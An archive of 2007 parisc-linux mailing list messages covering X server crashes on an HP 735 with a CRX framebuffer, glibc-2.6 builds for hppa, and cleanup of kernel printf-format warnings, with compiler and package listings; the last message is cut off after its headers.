National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 22:18:48 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <200707292218.49045.deller__43909.0715292425$1416624423$gmane$org@gmx.de>
References: <200707291829.l6TITMPi028794@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624423 24880 80.91.229.3 (22 Nov 2014 02:47:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 20:19:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 29 Jul 2007 22:19:04 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9702D7DD46;
	Sun, 29 Jul 2007 14:19:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16182-08; Sun, 29 Jul 2007 14:19:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 319787DD3B;
	Sun, 29 Jul 2007 14:18:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FE5C7DD36
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 14:18:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16182-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 14:18:53 -0600 (MDT)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E05787DD32
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 29 Jul 2007 14:18:52 -0600 (MDT)
Original-Received: (qmail invoked by alias); 29 Jul 2007 20:18:51 -0000
Original-Received: from mnhm-590c0a20.pool.einsundeins.de (EHLO ls-cups.box)
	[89.12.10.32]
	by mail.gmx.net (mp042) with SMTP; 29 Jul 2007 22:18:51 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.9.7
In-Reply-To: <200707291829.l6TITMPi028794@hiauly1.hia.nrc.ca>
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@=?utf-8?q?=0A=0913?=<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"=?utf-8?q?=27=3A=0A=09t?="f6wKtHUPFB&/]Z5^?9~IQs=16R;
	Pg"NS9JD=DK!ft&4b@=?utf-8?q?S=7E=26q/MfI3=3BqWqlg7Q1=3D=3DjS4=0A=099V5OJkm=24WQ=5Bdc=5E=5FY?=
	=?utf-8?q?=27=5DDvibvMjizUZ=5D+=27Jd4UnM?=><yrT}Rw(
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cbDKLC5ZaHI/bKWnKSUlfWJqamdhZET2
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24750

On Sunday 29 July 2007, John David Anglin wrote:
> > > There seems to be an issue with mode "1280x1024".
> > 
> > Are you running your console in 1280x1024 as well, e.g. what does "fbset -i" reports ?
> 
> Believe so.
> 
> mode "1280x1024"
>     geometry 1280 1024 1280 1024 8
>     timings 0 0 0 0 0 0 0
>     rgba 8/0,8/0,8/0,0/0
> endmode
> 
> Frame buffer device information:
>     Name        : stifb
>     Address     : 0xf9000000
>     Size        : 2097152
>     Type        : PACKED PIXELS
>     Visual      : PSEUDOCOLOR
>     XPanStep    : 0
>     YPanStep    : 0
>     YWrapStep   : 0
>     LineLength  : 2048
>     MMIO Address: 0xf8100000
>     MMIO Size   : 4194304
>     Accelerator : No
> 
> > What makes me wonder is, that if "startx" works, what is the difference to "gdb/kdm" in respect to Xorg screen confifuration ??
> 
> I looked at the gdm config and didn't see anything obvious.  It's the
> default config.  In any case, gdm ends up running XKeepsCrashing.

So it crashes in userspace ony (and not the kernel). Any backtraces ?
Did you tried another resolution as well, e.g. 1024x768 ?

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 17:01:02 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200707292101.l6TL13M2002430__33136.1277298585$1416624424$gmane$org@hiauly1.hia.nrc.ca>
References: <200707292218.49045.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624424 24884 80.91.229.3 (22 Nov 2014 02:47:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 29 Jul 2007 21:01:05 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx056) with SMTP; 29 Jul 2007 23:01:05 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6TL13HJ002432;
	Sun, 29 Jul 2007 17:01:03 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6TL13M2002430;
	Sun, 29 Jul 2007 17:01:03 -0400 (EDT)
In-Reply-To: <200707292218.49045.deller@gmx.de> from "Helge Deller" at Jul 29, 2007 10:18:48 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cGzGLuQKTlIuYLeQeGhrT2VGU2poZVkG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24751

> So it crashes in userspace ony (and not the kernel). Any backtraces ?

Nothing.  It seems X just exits.  Hmmm, maybe I should set
NoTrapSignals and DisableVidModeExtension.

> Did you tried another resolution as well, e.g. 1024x768 ?

No, maybe later this week.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Boot problem with HPPA 735/125 w/ A1439A CRX
Date: Sun, 29 Jul 2007 20:12:50 -0400 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <200707300012.l6U0Co1e006326__35326.6855156564$1416624424$gmane$org@hiauly1.hia.nrc.ca>
References: <200707292101.l6TL13M2002430@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624424 24887 80.91.229.3 (22 Nov 2014 02:47:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:04 +0000 (UTC)
Cc: deller@gmx.de,
 parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jul 2007 00:12:54 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx092) with SMTP; 30 Jul 2007 02:12:54 +0200
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l6U0CoOB006327;
	Sun, 29 Jul 2007 20:12:51 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l6U0Co1e006326;
	Sun, 29 Jul 2007 20:12:50 -0400 (EDT)
In-Reply-To: <200707292101.l6TL13M2002430@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 29, 2007 05:01:02 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UEjfZiNOeSE4eL6WZHQhgOV2IGRvbwC8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24752

> > So it crashes in userspace ony (and not the kernel). Any backtraces ?
> 
> Nothing.  It seems X just exits.  Hmmm, maybe I should set
> NoTrapSignals and DisableVidModeExtension.

Didn't help.  I can get rid of the mode failure by commenting out the
Modes line in the Display subsection.  However, this doesn't fix the
problem.  The last lines in the Xorg log are:

...
(II) XINPUT: Adding extended input device "Configured Mouse" (type: MOUSE)
(II) XINPUT: Adding extended input device "Generic Keyboard" (type: KEYBOARD)
(II) Configured Mouse: ps2EnableDataReporting: succeeded
FreeFontPath: FPE "/usr/share/fonts/X11/misc" refcount is 2, should be 1; fixing.

There are no EEs or WWs in the log file.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jeff Bailey" <jbailey@raspberryginger.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.6 status
Date: Mon, 30 Jul 2007 09:50:17 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <5b2e36650707300950k1552c56es93cbb61aeeb06521__26296.0856118754$1416624424$gmane$org@mail.gmail.com>
References: <200707281608.33638.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624424 24888 80.91.229.3 (22 Nov 2014 02:47:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mike Frysinger" <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jul 2007 16:50:33 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx036) with SMTP; 30 Jul 2007 18:50:33 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6265A7DD65;
	Mon, 30 Jul 2007 10:50:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22652-07; Mon, 30 Jul 2007 10:50:29 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 99EF77DD5B;
	Mon, 30 Jul 2007 10:50:26 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C4957DD57
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Jul 2007 10:50:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22652-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Jul 2007 10:50:20 -0600 (MDT)
Original-Received: from wa-out-1112.google.com (wa-out-1112.google.com [209.85.146.183])
	by free.linux.hp.com (Postfix) with ESMTP id 121207DD52
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Jul 2007 10:50:19 -0600 (MDT)
Original-Received: by wa-out-1112.google.com with SMTP id j40so1940334wah
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 30 Jul 2007 09:50:19 -0700 (PDT)
Original-Received: by 10.114.59.1 with SMTP id h1mr5788237waa.1185814217874;
	Mon, 30 Jul 2007 09:50:17 -0700 (PDT)
Original-Received: by 10.114.103.10 with HTTP; Mon, 30 Jul 2007 09:50:17 -0700 (PDT)
In-Reply-To: <200707281608.33638.vapier@gentoo.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7iSXfn8aYW0/ZLuGbmZp5JV0amthcxvP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24753

On 28/07/07, Mike Frysinger <vapier@gentoo.org> wrote:
> is it worth trying to make vanilla glibc-2.6 work ?  once i fixed elf/elf.h to
> have all of the new PARISC defines, it cross-compiled fine for me ... or is
> there more patches needed for runtime ?
> -mike

Ubuntu and Debian are now building glibc-2.6 for hppa, so in the event
of trouble, it's probably worth fishing through there for diffs.  On
Ubuntu hppa, I've got the same set of failures that Carlos reported.

(I'm travelling atm, sorry for any slow responses)

-- 
Jeff Bailey - http://www.raspberryginger.com/jbailey/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Fri,  3 Aug 2007 15:16:14 +0200
Lines: 152
Approved: news@gmane.org
Message-ID: <JM78V2$461E14034C9C293D572DFA91ADC72793__34105.2030482844$1416624425$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624425 24892 80.91.229.3 (22 Nov 2014 02:47:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:05 +0000 (UTC)
Cc: "deller" <deller@gmx.de>,
 "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@scarlet.be>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Aug 2007 13:16:17 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx082) with SMTP; 03 Aug 2007 15:16:17 +0200
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id l73DGE007639; 
	Fri, 3 Aug 2007 15:16:14 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: wEbYLmZ6TlIuYLeQeGhrR0RGU2poZZkg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24754

Dave, Helge,

> > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c: In function ?dino_bridge_=
init?:
> > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx
expects type long unsigned int, but argument 4 has type 
> > resource_size_t
> > /CAD/linux-2.6.22-pa/drivers/parisc/dino.c:821: warning: format %lx
expects type long unsigned int, but argument 5 has type 
> > resource_size_t
> 
> Are you sure you changed line 821?
> 
Ah yes I missed this, sorry?

Ok it seems that [Zz] fix this warning for 32bit kernel but not 64bit one=
.

For another b2k config, I tried this change:
drivers/parisc/sba_iommu.c:

   1912         printk(KERN_INFO "%s found %s at 0x%zx\n",
   1913                 MODULE_NAME, version, dev->hpa.start);

and to build 32bit kernel there isn't anymore warning:

  gcc -Wp,-MD,drivers/parisc/.sba_iommu.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.1.3/include -D__KERNEL__ -Iinclude -Iinclud=
e2
-I/CAD/linux-2.6.22-pa/
include -include include/linux/autoconf.h
-I/CAD/linux-2.6.22-pa/drivers/parisc -Idrivers/parisc -Wall -Wundef
-Wstrict-prototypes -Wno-trigraphs -fno-strict-alias
ing -fno-common -O2 -pipe -mno-space-regs -mfast-indirect-calls
-mdisable-fpregs -ffunction-sections -march=3D1.1 -mschedule=3D7300
-fomit-frame-pointer -fno-stack-pro
tector -Wdeclaration-after-statement -Wno-pointer-sign  -D"KBUILD_STR(s)=3D=
#s"
-D"KBUILD_BASENAME=3DKBUILD_STR(sba_iommu)" 
-D"KBUILD_MODNAME=3DKBUILD_STR(sba_iommu)" -c
 -o drivers/parisc/.tmp_sba_iommu.o
/CAD/linux-2.6.22-pa/drivers/parisc/sba_iommu.c

but for the 64bit kernel build:

either with "z"
  hppa64-linux-gnu-gcc -Wp,-MD,drivers/parisc/.sba_iommu.o.d  -nostdinc
-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.3/include -D__KERNEL__ -Iinclu=
de
-Iinclude2 -I/C
AD/linux-2.6.22-pa/include -include include/linux/autoconf.h
-I/CAD/linux-2.6.22-pa/drivers/parisc -Idrivers/parisc -Wall -Wundef
-Wstrict-prototypes -Wno-trigraph
s -fno-strict-aliasing -fno-common -O2 -pipe -mno-space-regs
-mfast-indirect-calls -mdisable-fpregs -ffunction-sections -march=3D2.0
-mschedule=3D8000 -fomit-frame-poi
nter -fno-stack-protector -Wdeclaration-after-statement -Wno-pointer-sign=
 
-D"KBUILD_STR(s)=3D#s" -D"KBUILD_BASENAME=3DKBUILD_STR(sba_iommu)" 
-D"KBUILD_MODNAME=3DKBUILD
_STR(sba_iommu)" -c -o drivers/parisc/.tmp_sba_iommu.o
/CAD/linux-2.6.22-pa/drivers/parisc/sba_iommu.c
/CAD/linux-2.6.22-pa/drivers/parisc/sba_iommu.c: In function
'sba_driver_callback':
/CAD/linux-2.6.22-pa/drivers/parisc/sba_iommu.c:1913: warning: format '%z=
x'
expects type 'size_t', but argument 4 has type 'resource_size_t'

or with "Z":
  hppa64-linux-gnu-gcc -Wp,-MD,drivers/parisc/.sba_iommu.o.d  -nostdinc
-isystem /usr/lib/gcc/hppa64-linux-gnu/4.1.3/include -D__KERNEL__ -Iinclu=
de
-Iinclude2 -I/CAD/linux-2.6.22-pa/include -include include/linux/autoconf=
.h
-I/CAD/linux-2.6.22-pa/drivers/parisc -Idrivers/parisc -Wall -Wundef
-Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -O2 -=
pipe
-mno-space-regs -mfast-indirect-calls -mdisable-fpregs -ffunction-section=
s
-march=3D2.0 -mschedule=3D8000 -fomit-frame-pointer -fno-stack-protector
-Wdeclaration-after-statement -Wno-pointer-sign  -D"KBUILD_STR(s)=3D#s"
-D"KBUILD_BASENAME=3DKBUILD_STR(sba_iommu)" 
-D"KBUILD_MODNAME=3DKBUILD_STR(sba_iommu)" -c -o drivers/parisc/.tmp_sba_=
iommu.o
/CAD/linux-2.6.22-pa/drivers/parisc/sba_iommu.c
/CAD/linux-2.6.22-pa/drivers/parisc/sba_iommu.c: In function
'sba_driver_callback':
/CAD/linux-2.6.22-pa/drivers/parisc/sba_iommu.c:1913: warning: format '%Z=
x'
expects type 'size_t', but argument 4 has type 'resource_size_t'

Even thought compilers seems to be of the same release:
# dpkg -l binutils\*
Desired=3DUnknown/Install/Remove/Purge/Hold
| Status=3DNot/Installed/Config-files/Unpacked/Failed-config/Half-install=
ed
|/ Err?=3D(none)/Hold/Reinst-required/X=3Dboth-problems (Status,Err: uppe=
rcase=3Dbad)
||/ Name                               Version                           =

Description
+++-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D
ii  binutils                           2.17cvs20070718-1                 =
 The
GNU assembler, linker and binary utilities
ii  binutils-doc                       2.17cvs20070718-1                 =

Documentation for the GNU assembler, linker and binary utilities
ii  binutils-hppa64                    2.17cvs20070718-1                 =
 The
GNU assembler, linker and binary utilities targeted for hppa64-linux

# dpkg -l gcc-4.1\*
Desired=3DUnknown/Install/Remove/Purge/Hold
| Status=3DNot/Installed/Config-files/Unpacked/Failed-config/Half-install=
ed
|/ Err?=3D(none)/Hold/Reinst-required/X=3Dboth-problems (Status,Err: uppe=
rcase=3Dbad)
||/ Name                               Version                           =

Description
+++-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D-=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D
ii  gcc-4.1                            4.1.2-14                          =
 The
GNU C compiler
ii  gcc-4.1-base                       4.1.2-14                          =
 The
GNU Compiler Collection (base package)
ii  gcc-4.1-doc                        4.1.1.nf3-1                       =

documentation for the GNU compilers (gcc, gobjc, g++)
ii  gcc-4.1-hppa64                     4.1.2-14                          =
 The
GNU C compiler (cross compiler for hppa64)

Tx,
    J.=0A---=0APack Scarlet One, ADSL 6 Mbps + Telephonie, a partir de EU=
R 29,95...=0Ahttp://www.scarlet.be/



From - Thu Nov 08 21:36:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Some warning: ... cleanup; realy no interest?
Date: Fri, 3 Aug 2007 11:16:08 -0400 (EDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <200708031516.l73FG8jb002491__46609.0276641355$1416624425$gmane$org@hiauly1.hia.nrc.ca>
References: <JM78V2$461E14034C9C293D572DFA91ADC72793@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624425 24894 80.91.229.3 (22 Nov 2014 02:47:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: soete.joel@scarlet.be (Joel Soete)
Original-X-From: - Wed Jul 02 21:27:42 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
